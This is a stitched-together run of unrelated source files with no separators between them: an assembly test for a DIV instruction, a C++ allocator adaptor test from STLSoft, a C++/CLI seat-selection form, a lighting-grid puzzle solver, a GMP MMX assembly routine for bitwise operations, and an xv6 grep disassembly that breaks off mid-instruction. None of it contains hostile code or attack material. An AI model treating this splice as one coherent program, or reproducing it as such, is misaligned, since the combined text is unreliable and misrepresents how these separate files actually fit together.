; test for the new DIV assembly instruction start: LODD div1: PUSH LODD dnd1: PUSH ; dnd1 / div1 DIV ; AC has status, quotient and remainder on stack HALT INSP 2 LODD div2: PUSH LODD dnd2: PUSH ; dnd2 / div2 DIV ; AC has status, quotient and remainder on stack HALT INSP 2 LODD div3: PUSH LODD dnd3: PUSH ; dnd3 / div3 DIV ; AC has status, quotient and remainder on stack HALT INSP 2 LODD div4: PUSH LODD dnd4: PUSH ; dnd4 / div4 DIV ; AC has status, quotient and remainder on stack HALT INSP 2 LODD div5: PUSH LODD dnd5: PUSH ; dnd5 / div5 DIV ; AC has status, quotient and remainder on stack HALT INSP 2 LODD div6: PUSH LODD dnd6: PUSH ; dnd6 / div6 DIV ; AC has status, quotient and remainder on stack HALT INSP 2 LODD div7: PUSH LODD dnd7: PUSH ; dnd7 / div7 DIV ; AC has status, quotient and remainder on stack HALT INSP 2 .LOC 50 div1: -5152 dnd1: 4943 div2: 0 dnd2: 437 div3: -16 dnd3: -8199 div4: -256 dnd4: 24575 div5: 511 dnd5: 0 div6: 17 dnd6: 8191 div7: 16 dnd7: -8199
/* ///////////////////////////////////////////////////////////////////////////// * File: Delayed_delete_allocator_adaptor_test.cpp * * Purpose: Implementation file for the delayed_delete_allocator_adaptor_test project. * * Created: 2nd May 2003 * Updated: 30th May 2004 * * Status: Wizard-generated * * License: (Licensed under the Synesis Software Open License) * * Copyright (C) 1999-2003, Synesis Software Pty Ltd. * All rights reserved. * * www: http://www.synesis.com.au/software * * email: software@synesis.com.au * * This source code is placed into the public domain 2003 * by Synesis Software Pty Ltd. There are no restrictions * whatsoever to your use of the software. * * This source code is provided by Synesis Software Pty Ltd "as is" * and any warranties, whether expressed or implied, including, but * not limited to, the implied warranties of merchantability and * fitness for a particular purpose are disclaimed. In no event * shall the Synesis Software Pty Ltd be liable for any direct, * indirect, incidental, special, exemplary, or consequential * damages (including, but not limited to, procurement of * substitute goods or services; loss of use, data, or profits; or * business interruption) however caused and on any theory of * liability, whether in contract, strict liability, or tort * (including negligence or otherwise) arising in any way out of * the use of this software, even if advised of the possibility of * such damage. * * Neither the name of Synesis Software Pty Ltd nor the names of * any subdivisions, employees or agents of Synesis Software Pty * Ltd, nor the names of any other contributors to this software * may be used to endorse or promote products derived from this * software without specific prior written permission. * * ////////////////////////////////////////////////////////////////////////// */ #include <stdio.h> #include <stlsoft.h> #include <stlsoft_new_allocator.h> #include <stlsoft_malloc_allocator.h> /* ////////////////////////////////////////////////////////////////////////// */ using namespace stlsoft; #if 0 #ifndef __STLSOFT_DOCUMENTATION_SKIP_SECTION template< ss_typename_param_k A , ss_sint_t QUANTA > class delayed_delete_allocator_adaptor; // Specialisation for void #ifdef __STLSOFT_CF_TEMPLATE_SPECIALISATION_SYNTAX template <> #endif /* __STLSOFT_CF_TEMPLATE_SPECIALISATION_SYNTAX */ class delayed_delete_allocator_adaptor<void> { public: typedef void value_type; typedef delayed_delete_allocator_adaptor<void> class_type; typedef void *pointer; typedef void const *const_pointer; typedef ptrdiff_t difference_type; typedef ss_size_t size_type; #ifdef STLSOFT_CF_ALLOCATOR_REBIND_SUPPORT /// The allocator <b><code>rebind</code></b> structure template <ss_typename_param_k U> struct rebind { typedef delayed_delete_allocator_adaptor<U> other; }; #endif /* STLSOFT_CF_ALLOCATOR_REBIND_SUPPORT */ }; #endif /* !__STLSOFT_DOCUMENTATION_SKIP_SECTION */ #endif /* 0 */ template< ss_typename_param_k A , ss_sint_t QUANTA > class delayed_delete_allocator_adaptor { public: /// The allocator type typedef A allocator_type; /// The allocation delay quanta enum { quanta = QUANTA }; /// The current parameterisation of the type typedef delayed_delete_allocator_adaptor<A, QUANTA> class_type; /// The value type typedef ss_typename_type_k allocator_type::value_type value_type; /// The pointer type typedef ss_typename_type_k allocator_type::pointer pointer; /// The non-mutating (const) pointer type typedef ss_typename_type_k allocator_type::const_pointer const_pointer; /// The reference type typedef ss_typename_type_k allocator_type::reference reference; /// The non-mutating (const) reference type typedef ss_typename_type_k allocator_type::const_reference const_reference; /// The difference type typedef ss_typename_type_k allocator_type::difference_type difference_type; /// The size type typedef ss_typename_type_k allocator_type::size_type size_type; #ifdef STLSOFT_CF_ALLOCATOR_REBIND_SUPPORT /// The allocator <b><code>rebind</code></b> structure template< ss_typename_param_k U , ss_sint_t Q = quanta > struct rebind { typedef delayed_delete_allocator_adaptor<U, Q> other; }; #endif /* STLSOFT_CF_ALLOCATOR_REBIND_SUPPORT */ /// Construction /// @{ public: delayed_delete_allocator_adaptor() stlsoft_throw_0() : m_count(0) {} #ifndef __STLSOFT_CF_MEMBER_TEMPLATE_FUNCTION_SUPPORT /// Copy constructor delayed_delete_allocator_adaptor(const delayed_delete_allocator_adaptor &rhs) stlsoft_throw_0() {} #else /// Copy constructor template< ss_typename_param_k U , ss_sint_t Q > delayed_delete_allocator_adaptor(const delayed_delete_allocator_adaptor<U, Q> &rhs) stlsoft_throw_0() {} #endif /* !__STLSOFT_CF_MEMBER_TEMPLATE_FUNCTION_SUPPORT */ /// Destructor ~delayed_delete_allocator_adaptor() stlsoft_throw_0() {} // Attributes public: /// Returns the maximum number of allocatable entities size_type max_size() const stlsoft_throw_0() { return static_cast<size_type>(-1) / sizeof(value_type); } // Conversion public: /// Returns the address corresponding to the given reference /// /// \param x A reference to a \c value_type instance whose address will be calculated pointer address(reference x) const stlsoft_throw_0() { return &x; } /// Returns the address corresponding to the given non-mutable (const) reference /// /// \param x A non-mutable (const) reference to a \c value_type instance whose address will be calculated const_pointer address(const_reference x) const stlsoft_throw_0() { return &x; } // Allocation public: /// Allocates a block of memory sufficient to store \c n elements of type \c value_type /// /// \param n The number of elements to allocate /// \param pv A hint to enhance localisation (not used in this class) /// \return The allocated block, or the null pointer (if the allocation fails and the translation does not support throwing exceptions upon memory exhaustion) pointer allocate(size_type n, allocator_type::rebind<void>::other::const_pointer = NULL) { allocator_type::rebind<void>::other::pointer p = malloc(n * sizeof(value_type)); #ifdef __STLSOFT_CF_THROW_BAD_ALLOC if(p == NULL) { throw stlsoft_ns_qual_std(bad_alloc)(); } #endif /* __STLSOFT_CF_THROW_BAD_ALLOC */ return static_cast<pointer>(p); } pointer reallocate(pointer p, size_type n, allocator_type::rebind<void>::other::const_pointer = NULL) { allocator_type::rebind<void>::other::pointer pNew = realloc(p, n * sizeof(value_type)); #ifdef __STLSOFT_CF_THROW_BAD_ALLOC if(pNew == NULL) { throw stlsoft_ns_qual_std(bad_alloc)(); } #endif /* __STLSOFT_CF_THROW_BAD_ALLOC */ return static_cast<pointer>(pNew); } /// Deallocates a pointer /// /// \param p The memory block to deallocate /// \param n The number of blocks to deallocate void deallocate(pointer p, size_type) { free(p); } /// Deallocates a pointer /// /// \param p The memory block to deallocate void deallocate(pointer p) { free(p); } // Operations public: /// In-place constructs an instance of the \c value_type, with the given value /// /// \param p The location in which to construct the instance /// \param x The value with which to copy construct the instance void construct(pointer p, value_type const &x) { stlsoft_assert(p != NULL); new(p) value_type(x); } /// In-place constructs an instance of the \c value_type /// /// \param p The location in which to construct the instance void construct(pointer p) { stlsoft_assert(p != NULL); new(p) value_type(); } /// In-place destroys an instance /// /// \param p The instance whose destructor is to be called void destroy(pointer p) stlsoft_throw_0() { stlsoft_assert(p != NULL); stlsoft_destroy_instance(T, value_type, p); } /// @} //m_ator /// Members private: allocator_type m_ator; ss_sint_t m_count; pointer m_allocs[quanta]; // Not to be implemented private: class_type const &operator =(class_type const &rhs); }; #ifndef __STLSOFT_DOCUMENTATION_SKIP_SECTION template< ss_typename_param_k A , ss_sint_t QUANTA > inline ss_bool_t operator ==(const delayed_delete_allocator_adaptor<A, QUANTA> &/* lhs */, const delayed_delete_allocator_adaptor<A, QUANTA> &/* rhs */) { return ss_true_v; } template< ss_typename_param_k A , ss_sint_t QUANTA > inline ss_bool_t operator !=(const delayed_delete_allocator_adaptor<A, QUANTA> &/* lhs */, const delayed_delete_allocator_adaptor<A, QUANTA> &/* rhs */) { return ss_false_v; } #endif /* !__STLSOFT_DOCUMENTATION_SKIP_SECTION */ /* ////////////////////////////////////////////////////////////////////////// */ /// @} // end of group stlsoft_allocator_library /* ////////////////////////////////////////////////////////////////////////// */ template <typename A> void test_allocator(A &a) { for(int i = 0; i < 100; ++i) { ss_typename_type_k A::pointer p = a.allocate(i, 0); a.deallocate(p, i); } } struct S { int i; float f; double d; }; int main(int /* argc */, char ** /*argv*/) { puts("delayed_delete_allocator_adaptor_test: " __STLSOFT_COMPILER_LABEL_STRING); /* . */ malloc_allocator<S> ma; new_allocator<S> na; delayed_delete_allocator_adaptor<malloc_allocator<S>, 10> dma10; delayed_delete_allocator_adaptor<new_allocator<S>, 10> dna10; delayed_delete_allocator_adaptor<malloc_allocator<S>, 50> dma50; delayed_delete_allocator_adaptor<new_allocator<S>, 50> dna50; test_allocator(ma); test_allocator(na); test_allocator(dma10); test_allocator(dna10); test_allocator(dma50); test_allocator(dna50); return 0; } /* ////////////////////////////////////////////////////////////////////////// */
#include "SeatSelectionForm.h" #include "Tickets.h" using namespace DataManager; using namespace UserInterface; SeatSelectionForm::SeatSelectionForm() { InitializeComponent(); } SeatSelectionForm::~SeatSelectionForm() { if (components) delete components; } static std::vector<int> seatNumbers; void SeatSelectionForm::SetWindow(int from, int to) { for each (SeatControl^ seat in m_SeatsContainer) seat->Available = from <= seat->Number && seat->Number < to; } void SeatSelectionForm::Use(const std::string& date, bool isGoingToPlace, const std::string& place) { Tickets::load(date, isGoingToPlace, place); seatNumbers.clear(); for (size_t i = 0; i < Tickets::List().size(); i++) { int& passengerId = Tickets::List()[i]; safe_cast<SeatControl^>(m_SeatsContainer[i])->Taken = passengerId > -1; } } System::Void SeatSelectionForm::SeatSelectionForm_Load(System::Object^ sender, System::EventArgs^ e) { m_SeatsContainer = gcnew System::Collections::ArrayList; for (int i = 0; i < 120; i++) { SeatControl^ seat = gcnew SeatControl(i); seat->Dock = System::Windows::Forms::DockStyle::Fill; // Note: Intellisense does not seem to recognize this line of code. // But it still compiles successfully. seat->OnClick = gcnew System::Action<int, bool>(this, &SeatSelectionForm::SeatClicked); m_SeatsTable->Controls->Add(seat, (i % 6) + (i % 6) / 3, 1 + i / 6); m_SeatsContainer->Add(seat); } } #include <iostream> SeatSelectionForm::Data^ SeatSelectionForm::getData() { Data^ data = gcnew Data; data->seatNumbers.clear(); data->seatNumbers = seatNumbers; for (int& seatNumber : seatNumbers) std::cout << seatNumber << std::endl; return data; } System::Void SeatSelectionForm::m_Continue_Click(System::Object^ sender, System::EventArgs^ e) { if (OnContinue) OnContinue(getData()); } void SeatSelectionForm::SeatClicked(int seatNumber, bool isChecked) { if (isChecked) seatNumbers.push_back(seatNumber); else for (size_t i = 0; i < seatNumbers.size(); i++) if (seatNumbers[i] == seatNumber) seatNumbers.erase(seatNumbers.begin() + i); }
#include <algorithm> #include <cassert> #include <iostream> #include <regex> #include <set> #include <string> enum class Action { TurnOn, Toggle, TurnOff }; using Point = std::pair<unsigned, unsigned>; struct Command { Command(std::string const &s) { const char *re = "(turn on|toggle|turn off)\\s(\\d+),(\\d+)\\sthrough\\s(\\d+),(\\d+)"; std::smatch m; if (!std::regex_search(s, m, std::regex(re))) { std::cerr << "Unable to interpret:" << s << "\n"; assert(false); } if (m.str(1) == std::string("turn on")) { act_ = Action::TurnOn; } else if (m.str(1) == std::string("turn off")) { act_ = Action::TurnOff; } else if (m.str(1) == std::string("toggle")) { act_ = Action::Toggle; } else { assert(false); } bottom_left_.first = std::stoul(m.str(2), nullptr, 10); bottom_left_.second = std::stoul(m.str(3), nullptr, 10); top_right_.first = std::stoul(m.str(4), nullptr, 10); top_right_.second = std::stoul(m.str(5), nullptr, 10); } Action act_; Point bottom_left_; Point top_right_; }; template <unsigned N> struct Array { Array() noexcept { for (unsigned i = 0; i < N; ++i) { for (unsigned j = 0; j < N; ++j) { lights_[i][j] = 0; } } } void apply(Command const &command) noexcept { assert(command.bottom_left_.first < N); assert(command.bottom_left_.second < N); assert(command.top_right_.first < N); assert(command.top_right_.second < N); for (unsigned i = command.bottom_left_.first; i <= command.top_right_.first; ++i) { for (unsigned j = command.bottom_left_.second; j <= command.top_right_.second; ++j) { switch (command.act_) { case Action::TurnOn: ++lights_[i][j]; break; case Action::Toggle: lights_[i][j] += 2; break; case Action::TurnOff: if (lights_[i][j] > 0) { --lights_[i][j]; } break; } } } } unsigned brightness() const noexcept { unsigned count = 0; for (unsigned i = 0; i < N; ++i) { for (unsigned j = 0; j < N; ++j) { count += lights_[i][j]; } } return count; } /// Output a bitmap void bitmap() const { unsigned max = 0; for (unsigned i = 0; i < N; ++i) { for (unsigned j = 0; j < N; ++j) { if (lights_[i][j] > max) { max = lights_[i][j]; } } } std::cout << "P2\n" << N << " " << N << "\n" << max << "\n"; for (unsigned i = 0; i < N; ++i) { for (unsigned j = 0; j < N; ++j) { std::cout << lights_[i][j] << "\n"; } } } unsigned lights_[N][N]; }; int main(int argc, char **argv) { Array<1000> arr; for (std::string line; std::getline(std::cin, line);) { Command cmd(line); arr.apply(cmd); } arr.bitmap(); std::cout << arr.brightness() << '\n'; return 0; }
dnl AMD K6-2 mpn_and_n, mpn_andn_n, mpn_nand_n, mpn_ior_n, mpn_iorn_n, dnl mpn_nior_n, mpn_xor_n, mpn_xnor_n -- mpn bitwise logical operations. dnl Copyright 1999, 2000, 2001, 2002 Free Software Foundation, Inc. dnl dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or dnl modify it under the terms of the GNU Lesser General Public License as dnl published by the Free Software Foundation; either version 3 of the dnl License, or (at your option) any later version. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, dnl but WITHOUT ANY WARRANTY; without even the implied warranty of dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU dnl Lesser General Public License for more details. dnl dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/. include(`../config.m4') NAILS_SUPPORT(0-31) C alignment dst/src1/src2, A=0mod8, N=4mod8 C A/A/A A/A/N A/N/A A/N/N N/A/A N/A/N N/N/A N/N/N C C K6-2 1.2 1.5 1.5 1.2 1.2 1.5 1.5 1.2 and,andn,ior,xor C K6-2 1.5 1.75 2.0 1.75 1.75 2.0 1.75 1.5 iorn,xnor C K6-2 1.75 2.0 2.0 2.0 2.0 2.0 2.0 1.75 nand,nior C C K6 1.5 1.68 1.75 1.2 1.75 1.75 1.68 1.5 and,andn,ior,xor C K6 2.0 2.0 2.25 2.25 2.25 2.25 2.0 2.0 iorn,xnor C K6 2.0 2.25 2.25 2.25 2.25 2.25 2.25 2.0 nand,nior dnl M4_p and M4_i are the MMX and integer instructions dnl M4_*_neg_dst means whether to negate the final result before writing dnl M4_*_neg_src2 means whether to negate the src2 values before using them define(M4_choose_op, m4_assert_numargs(7) `ifdef(`OPERATION_$1',` define(`M4_function', `mpn_$1') define(`M4_operation', `$1') define(`M4_p', `$2') define(`M4_p_neg_dst', `$3') define(`M4_p_neg_src2',`$4') define(`M4_i', `$5') define(`M4_i_neg_dst', `$6') define(`M4_i_neg_src2',`$7') ')') dnl xnor is done in "iorn" style because it's a touch faster than "nior" dnl style (the two are equivalent for xor). dnl dnl pandn can't be used with nails. M4_choose_op( and_n, pand,0,0, andl,0,0) ifelse(GMP_NAIL_BITS,0, `M4_choose_op(andn_n, pandn,0,0, andl,0,1)', `M4_choose_op(andn_n, pand,0,1, andl,0,1)') M4_choose_op( nand_n, pand,1,0, andl,1,0) M4_choose_op( ior_n, por,0,0, orl,0,0) M4_choose_op( iorn_n, por,0,1, orl,0,1) M4_choose_op( nior_n, por,1,0, orl,1,0) M4_choose_op( xor_n, pxor,0,0, xorl,0,0) M4_choose_op( xnor_n, pxor,0,1, xorl,0,1) ifdef(`M4_function',, `m4_error(`Unrecognised or undefined OPERATION symbol ')') MULFUNC_PROLOGUE(mpn_and_n mpn_andn_n mpn_nand_n mpn_ior_n mpn_iorn_n mpn_nior_n mpn_xor_n mpn_xnor_n) C void M4_function (mp_ptr dst, mp_srcptr src1, mp_srcptr src2, C mp_size_t size); C C Do src1,size M4_operation src2,size, storing the result in dst,size. C C Unaligned movq loads and stores are a bit slower than aligned ones. The C test at the start of the routine checks the alignment of src1 and if C necessary processes one limb separately at the low end to make it aligned. C C The raw speeds without this alignment switch are as follows. C C alignment dst/src1/src2, A=0mod8, N=4mod8 C A/A/A A/A/N A/N/A A/N/N N/A/A N/A/N N/N/A N/N/N C C K6 1.5 2.0 1.5 2.0 and,andn,ior,xor C K6 1.75 2.2 2.0 2.28 iorn,xnor C K6 2.0 2.25 2.35 2.28 nand,nior C C C Future: C C K6 can do one 64-bit load per cycle so each of these routines should be C able to approach 1.0 c/l, if aligned. The basic and/andn/ior/xor might be C able to get 1.0 with just a 4 limb loop, being 3 instructions per 2 limbs. C The others are 4 instructions per 2 limbs, and so can only approach 1.0 C because there's nowhere to hide some loop control. defframe(PARAM_SIZE,16) defframe(PARAM_SRC2,12) defframe(PARAM_SRC1,8) defframe(PARAM_DST, 4) deflit(`FRAME',0) TEXT ALIGN(32) PROLOGUE(M4_function) movl PARAM_SIZE, %ecx pushl %ebx FRAME_pushl() movl PARAM_SRC1, %eax movl PARAM_SRC2, %ebx cmpl $1, %ecx movl PARAM_DST, %edx ja L(two_or_more) movl (%ebx), %ecx popl %ebx ifelse(M4_i_neg_src2,1,`notl_or_xorl_GMP_NUMB_MASK( %ecx)') M4_i (%eax), %ecx ifelse(M4_i_neg_dst,1,` notl_or_xorl_GMP_NUMB_MASK( %ecx)') movl %ecx, (%edx) ret L(two_or_more): C eax src1 C ebx src2 C ecx size C edx dst C esi C edi C ebp pushl %esi FRAME_pushl() testl $4, %eax jz L(alignment_ok) movl (%ebx), %esi addl $4, %ebx ifelse(M4_i_neg_src2,1,`notl_or_xorl_GMP_NUMB_MASK( %esi)') M4_i (%eax), %esi addl $4, %eax ifelse(M4_i_neg_dst,1,` notl_or_xorl_GMP_NUMB_MASK( %esi)') movl %esi, (%edx) addl $4, %edx decl %ecx L(alignment_ok): movl %ecx, %esi shrl %ecx jnz L(still_two_or_more) movl (%ebx), %ecx popl %esi ifelse(M4_i_neg_src2,1,`notl_or_xorl_GMP_NUMB_MASK( %ecx)') M4_i (%eax), %ecx ifelse(M4_i_neg_dst,1,` notl_or_xorl_GMP_NUMB_MASK( %ecx)') popl %ebx movl %ecx, (%edx) ret L(still_two_or_more): ifelse(eval(M4_p_neg_src2 || M4_p_neg_dst),1,` pcmpeqd %mm7, %mm7 C all ones ifelse(GMP_NAIL_BITS,0,,`psrld $GMP_NAIL_BITS, %mm7') C clear nails ') ALIGN(16) L(top): C eax src1 C ebx src2 C ecx counter C edx dst C esi C edi C ebp C C carry bit is low of size movq -8(%ebx,%ecx,8), %mm0 ifelse(M4_p_neg_src2,1,`pxor %mm7, %mm0') M4_p -8(%eax,%ecx,8), %mm0 ifelse(M4_p_neg_dst,1,` pxor %mm7, %mm0') movq %mm0, -8(%edx,%ecx,8) loop L(top) jnc L(no_extra) movl -4(%ebx,%esi,4), %ebx ifelse(M4_i_neg_src2,1,`notl_or_xorl_GMP_NUMB_MASK( %ebx)') M4_i -4(%eax,%esi,4), %ebx ifelse(M4_i_neg_dst,1,` notl_or_xorl_GMP_NUMB_MASK( %ebx)') movl %ebx, -4(%edx,%esi,4) L(no_extra): popl %esi popl %ebx emms_or_femms ret EPILOGUE()
_grep: file format elf32-i386 Disassembly of section .text: 00001000 <grep>: char buf[1024]; int match(char*, char*); void grep(char *pattern, int fd) { 1000: 55 push %ebp 1001: 89 e5 mov %esp,%ebp 1003: 83 ec 28 sub $0x28,%esp int n, m; char *p, *q; m = 0; 1006: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) while((n = read(fd, buf+m, sizeof(buf)-m)) > 0){ 100d: e9 bb 00 00 00 jmp 10cd <grep+0xcd> m += n; 1012: 8b 45 ec mov -0x14(%ebp),%eax 1015: 01 45 f4 add %eax,-0xc(%ebp) p = buf; 1018: c7 45 f0 60 22 00 00 movl $0x2260,-0x10(%ebp) while((q = strchr(p, '\n')) != 0){ 101f: eb 51 jmp 1072 <grep+0x72> *q = 0; 1021: 8b 45 e8 mov -0x18(%ebp),%eax 1024: c6 00 00 movb $0x0,(%eax) if(match(pattern, p)){ 1027: 8b 45 f0 mov -0x10(%ebp),%eax 102a: 89 44 24 04 mov %eax,0x4(%esp) 102e: 8b 45 08 mov 0x8(%ebp),%eax 1031: 89 04 24 mov %eax,(%esp) 1034: e8 bc 01 00 00 call 11f5 <match> 1039: 85 c0 test %eax,%eax 103b: 74 2c je 1069 <grep+0x69> *q = '\n'; 103d: 8b 45 e8 mov -0x18(%ebp),%eax 1040: c6 00 0a movb $0xa,(%eax) write(1, p, q+1 - p); 1043: 8b 45 e8 mov -0x18(%ebp),%eax 1046: 83 c0 01 add $0x1,%eax 1049: 89 c2 mov %eax,%edx 104b: 8b 45 f0 mov -0x10(%ebp),%eax 104e: 29 c2 sub %eax,%edx 1050: 89 d0 mov %edx,%eax 1052: 89 44 24 08 mov %eax,0x8(%esp) 1056: 8b 45 f0 mov -0x10(%ebp),%eax 1059: 89 44 24 04 mov %eax,0x4(%esp) 105d: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1064: e8 77 05 00 00 call 15e0 <write> } p = q+1; 1069: 8b 45 e8 mov -0x18(%ebp),%eax 106c: 83 c0 01 add $0x1,%eax 106f: 89 45 f0 mov %eax,-0x10(%ebp) m = 0; while((n = read(fd, buf+m, sizeof(buf)-m)) > 0){ m += n; p = buf; while((q = strchr(p, '\n')) != 0){ 1072: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp) 1079: 00 107a: 8b 45 f0 mov -0x10(%ebp),%eax 107d: 89 04 24 mov %eax,(%esp) 1080: e8 b2 03 00 00 call 1437 <strchr> 1085: 89 45 e8 mov %eax,-0x18(%ebp) 1088: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 108c: 75 93 jne 1021 <grep+0x21> *q = '\n'; write(1, p, q+1 - p); } p = q+1; } if(p == buf) 108e: 81 7d f0 60 22 00 00 cmpl $0x2260,-0x10(%ebp) 1095: 75 07 jne 109e <grep+0x9e> m = 0; 1097: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) if(m > 0){ 109e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 10a2: 7e 29 jle 10cd <grep+0xcd> m -= p - buf; 10a4: ba 60 22 00 00 mov $0x2260,%edx 10a9: 8b 45 f0 mov -0x10(%ebp),%eax 10ac: 29 c2 sub %eax,%edx 10ae: 89 d0 mov %edx,%eax 10b0: 01 45 f4 add %eax,-0xc(%ebp) memmove(buf, p, m); 10b3: 8b 45 f4 mov -0xc(%ebp),%eax 10b6: 89 44 24 08 mov %eax,0x8(%esp) 10ba: 8b 45 f0 mov -0x10(%ebp),%eax 10bd: 89 44 24 04 mov %eax,0x4(%esp) 10c1: c7 04 24 60 22 00 00 movl $0x2260,(%esp) 10c8: e8 ae 04 00 00 call 157b <memmove> { int n, m; char *p, *q; m = 0; while((n = read(fd, buf+m, sizeof(buf)-m)) > 0){ 10cd: 8b 45 f4 mov -0xc(%ebp),%eax 10d0: ba 00 04 00 00 mov $0x400,%edx 10d5: 29 c2 sub %eax,%edx 10d7: 89 d0 mov %edx,%eax 10d9: 8b 55 f4 mov -0xc(%ebp),%edx 10dc: 81 c2 60 22 00 00 add $0x2260,%edx 10e2: 89 44 24 08 mov %eax,0x8(%esp) 10e6: 89 54 24 04 mov %edx,0x4(%esp) 10ea: 8b 45 0c mov 0xc(%ebp),%eax 10ed: 89 04 24 mov %eax,(%esp) 10f0: e8 e3 04 00 00 call 15d8 <read> 10f5: 89 45 ec mov %eax,-0x14(%ebp) 10f8: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 10fc: 0f 8f 10 ff ff ff jg 1012 <grep+0x12> if(m > 0){ m -= p - buf; memmove(buf, p, m); } } } 1102: c9 leave 1103: c3 ret 00001104 <main>: int main(int argc, char *argv[]) { 1104: 55 push %ebp 1105: 89 e5 mov %esp,%ebp 1107: 83 e4 f0 and $0xfffffff0,%esp 110a: 83 ec 20 sub $0x20,%esp int fd, i; char *pattern; if(argc <= 1){ 110d: 83 7d 08 01 cmpl $0x1,0x8(%ebp) 1111: 7f 19 jg 112c <main+0x28> printf(2, "usage: grep pattern [file ...]\n"); 1113: c7 44 24 04 ac 1d 00 movl $0x1dac,0x4(%esp) 111a: 00 111b: c7 04 24 02 00 00 00 movl $0x2,(%esp) 1122: e8 41 06 00 00 call 1768 <printf> exit(); 1127: e8 94 04 00 00 call 15c0 <exit> } pattern = argv[1]; 112c: 8b 45 0c mov 0xc(%ebp),%eax 112f: 8b 40 04 mov 0x4(%eax),%eax 1132: 89 44 24 18 mov %eax,0x18(%esp) if(argc <= 2){ 1136: 83 7d 08 02 cmpl $0x2,0x8(%ebp) 113a: 7f 19 jg 1155 <main+0x51> grep(pattern, 0); 113c: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 1143: 00 1144: 8b 44 24 18 mov 0x18(%esp),%eax 1148: 89 04 24 mov %eax,(%esp) 114b: e8 b0 fe ff ff call 1000 <grep> exit(); 1150: e8 6b 04 00 00 call 15c0 <exit> } for(i = 2; i < argc; i++){ 1155: c7 44 24 1c 02 00 00 movl $0x2,0x1c(%esp) 115c: 00 115d: e9 81 00 00 00 jmp 11e3 <main+0xdf> if((fd = open(argv[i], 0)) < 0){ 1162: 8b 44 24 1c mov 0x1c(%esp),%eax 1166: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 116d: 8b 45 0c mov 0xc(%ebp),%eax 1170: 01 d0 add %edx,%eax 1172: 8b 00 mov (%eax),%eax 1174: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 117b: 00 117c: 89 04 24 mov %eax,(%esp) 117f: e8 7c 04 00 00 call 1600 <open> 1184: 89 44 24 14 mov %eax,0x14(%esp) 1188: 83 7c 24 14 00 cmpl $0x0,0x14(%esp) 118d: 79 2f jns 11be <main+0xba> printf(1, "grep: cannot open %s\n", argv[i]); 118f: 8b 44 24 1c mov 0x1c(%esp),%eax 1193: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 119a: 8b 45 0c mov 0xc(%ebp),%eax 119d: 01 d0 add %edx,%eax 119f: 8b 00 mov (%eax),%eax 11a1: 89 44 24 08 mov %eax,0x8(%esp) 11a5: c7 44 24 04 cc 1d 00 movl $0x1dcc,0x4(%esp) 11ac: 00 11ad: c7 04 24 01 00 00 00 movl $0x1,(%esp) 11b4: e8 af 05 00 00 call 1768 <printf> exit(); 11b9: e8 02 04 00 00 call 15c0 <exit> } grep(pattern, fd); 11be: 8b 44 24 14 mov 0x14(%esp),%eax 11c2: 89 44 24 04 mov %eax,0x4(%esp) 11c6: 8b 44 24 18 mov 0x18(%esp),%eax 11ca: 89 04 24 mov %eax,(%esp) 11cd: e8 2e fe ff ff call 1000 <grep> close(fd); 11d2: 8b 44 24 14 mov 0x14(%esp),%eax 11d6: 89 04 24 mov %eax,(%esp) 11d9: e8 0a 04 00 00 call 15e8 <close> if(argc <= 2){ grep(pattern, 0); exit(); } for(i = 2; i < argc; i++){ 11de: 83 44 24 1c 01 addl $0x1,0x1c(%esp) 11e3: 8b 44 24 1c mov 0x1c(%esp),%eax 11e7: 3b 45 08 cmp 0x8(%ebp),%eax 11ea: 0f 8c 72 ff ff ff jl 1162 <main+0x5e> exit(); } grep(pattern, fd); close(fd); } exit(); 11f0: e8 cb 03 00 00 call 15c0 <exit> 000011f5 <match>: int matchhere(char*, char*); int matchstar(int, char*, char*); int match(char *re, char *text) { 11f5: 55 push %ebp 11f6: 89 e5 mov %esp,%ebp 11f8: 83 ec 18 sub $0x18,%esp if(re[0] == '^') 11fb: 8b 45 08 mov 0x8(%ebp),%eax 11fe: 0f b6 00 movzbl (%eax),%eax 1201: 3c 5e cmp $0x5e,%al 1203: 75 17 jne 121c <match+0x27> return matchhere(re+1, text); 1205: 8b 45 08 mov 0x8(%ebp),%eax 1208: 8d 50 01 lea 0x1(%eax),%edx 120b: 8b 45 0c mov 0xc(%ebp),%eax 120e: 89 44 24 04 mov %eax,0x4(%esp) 1212: 89 14 24 mov %edx,(%esp) 1215: e8 36 00 00 00 call 1250 <matchhere> 121a: eb 32 jmp 124e <match+0x59> do{ // must look at empty string if(matchhere(re, text)) 121c: 8b 45 0c mov 0xc(%ebp),%eax 121f: 89 44 24 04 mov %eax,0x4(%esp) 1223: 8b 45 08 mov 0x8(%ebp),%eax 1226: 89 04 24 mov %eax,(%esp) 1229: e8 22 00 00 00 call 1250 <matchhere> 122e: 85 c0 test %eax,%eax 1230: 74 07 je 1239 <match+0x44> return 1; 1232: b8 01 00 00 00 mov $0x1,%eax 1237: eb 15 jmp 124e <match+0x59> }while(*text++ != '\0'); 1239: 8b 45 0c mov 0xc(%ebp),%eax 123c: 8d 50 01 lea 0x1(%eax),%edx 123f: 89 55 0c mov %edx,0xc(%ebp) 1242: 0f b6 00 movzbl (%eax),%eax 1245: 84 c0 test %al,%al 1247: 75 d3 jne 121c <match+0x27> return 0; 1249: b8 00 00 00 00 mov $0x0,%eax } 124e: c9 leave 124f: c3 ret 00001250 <matchhere>: // matchhere: search for re at beginning of text int matchhere(char *re, char *text) { 1250: 55 push %ebp 1251: 89 e5 mov %esp,%ebp 1253: 83 ec 18 sub $0x18,%esp if(re[0] == '\0') 1256: 8b 45 08 mov 0x8(%ebp),%eax 1259: 0f b6 00 movzbl (%eax),%eax 125c: 84 c0 test %al,%al 125e: 75 0a jne 126a <matchhere+0x1a> return 1; 1260: b8 